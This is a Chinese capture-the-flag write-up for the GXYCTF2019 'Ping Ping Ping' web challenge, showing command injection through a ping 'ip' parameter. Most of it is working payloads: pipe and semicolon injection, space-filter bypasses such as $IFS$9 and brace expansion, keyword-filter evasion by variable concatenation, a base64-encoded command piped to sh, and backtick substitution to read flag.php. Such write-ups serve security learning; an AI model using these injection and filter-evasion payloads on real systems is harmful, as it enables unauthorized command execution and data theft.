GXYCTF2019--Ping Ping Ping

知识点:

命令执行漏洞

空格以及字符串的绕过

 

?ip=127.0.0.1

 

?ip=127.0.0.1|ls

?ip=127.0.0.1|cat flag.php

 

显示不可以有空格

 

测试一下发现可以代替空格的形式

$IFS

${IFS}

$IFS$1 //$1改成$加其他数字貌似都行

<

<>

{cat,flag.php}  //用逗号实现了空格功能

%20

%09

/**/

%0a

 

$IFS$9成功( $IFS是bash中的内部域分隔符,可以代替空格。后面的$9数字是可以随意的,每个数字都有特殊含义,但是和前面的搭配都可以表示空格;)

?ip=127.0.0.1|cat$IFS$9flag.php

 

又提示不能有flag(绕过字符串)

cat fl* 利用*匹配任意

echo Y2F0IGZsYWcucGhw| base64 -d | bash

ca\t fl\ag.php

cat fl''ag.php

以上都没成功

 

尝试变量拼接

?ip=127.0.0.1|a=g;cat$IFS$9fla$a.php  

这里管道符没成功,换成分号试下

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php  

查看源代码的flag

 

 

官方WP:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

过滤bash可以用sh,sh的大部分脚本都可以在bash下运行。

 

dalaoWP:

?ip=127.0.0.1;cat$IFS$9`ls`

内联,将反引号内命令的输出作为输入执行。

GXYCTF2019--Ping Ping Ping_第1张图片

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(Web)